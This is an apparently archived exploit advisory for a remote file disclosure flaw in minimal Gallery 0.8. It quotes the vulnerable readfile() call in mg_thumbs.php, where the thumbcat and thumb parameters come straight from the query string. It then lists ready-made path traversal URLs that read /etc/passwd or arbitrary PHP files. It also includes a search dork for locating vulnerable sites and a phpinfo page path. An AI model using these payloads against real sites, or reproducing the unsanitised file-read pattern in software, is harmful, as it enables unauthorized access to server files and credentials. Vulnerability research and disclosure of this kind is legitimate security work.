minimal Gallery 0.8 Remote File Disclosure Vulnerability

🗓️ 13 Jan 2008 00:00:00Reported by RootType

minimal Gallery 0.8 Remote File Disclosure Vulnerability. Exploit allows unauthorized access to files through mg_thumbs.php scrip


                                                #&nbsp;Script&nbsp;:&nbsp;minimal&nbsp;Gallery&nbsp;0.8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;Download&nbsp;:&nbsp;http://minimaldesign.net/downloads/projects/minimal-gallery&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;BUG&nbsp;:&nbsp;&nbsp;Remote&nbsp;File&nbsp;Disclosure&nbsp;Vulnerability&nbsp;&nbsp;
#&nbsp;Dork&nbsp;:&nbsp;powered&nbsp;by&nbsp;minimal&nbsp;Gallery&nbsp;0.8
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
##&nbsp;Vulnerable&nbsp;CODE&nbsp;:
~~~~~~~~~&nbsp;/_mg/php/mg_thumbs.php&nbsp;~~~~~~~~~~~~~~~~~
readfile(&quot;../$thumbs_dir/$thumbcat$thumb&quot;);

the&nbsp;variables&nbsp;thumbcat&nbsp;&amp;&nbsp;thumb&nbsp;are&nbsp;defined&nbsp;in&nbsp;page&nbsp;mg_thumbs.php&nbsp;like&nbsp;that&nbsp;:&nbsp;
$thumbcat&nbsp;=&nbsp;$_GET['thumbcat'];
$thumb&nbsp;=&nbsp;$_GET['thumb'];
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~		&nbsp;

#&nbsp;Exploit&nbsp;:&nbsp;

[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumbcat=../../../../../../etc/passwd
[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumbcat=../../../../../../[file].php

[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumb=../../../../../../etc/passwd
[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumb=../../../../../../[file].php


#&nbsp;phpinfo();&nbsp;View&nbsp;&gt;&gt;&nbsp;[Target.il]/[Path_mGallery]/php_info.php


#&nbsp;greezt&nbsp;:&nbsp;&nbsp;coNan&nbsp;,&nbsp;GoLd_M&nbsp;,&nbsp;RoMaNcYxHaCkEr&nbsp;,&nbsp;Rachidox&nbsp;,&nbsp;&nbsp;and&nbsp;all&nbsp;muslims&nbsp;Hackers&nbsp;

######################################################################################
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;H-T&nbsp;TeaM&nbsp;{HouSSaMix&nbsp;_&nbsp;ToXiC350}&nbsp;&nbsp;from&nbsp;MoRoCCo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
######################################################################################

13 Jan 2008 00:00Current

7.1High risk

Vulners AI Score7.1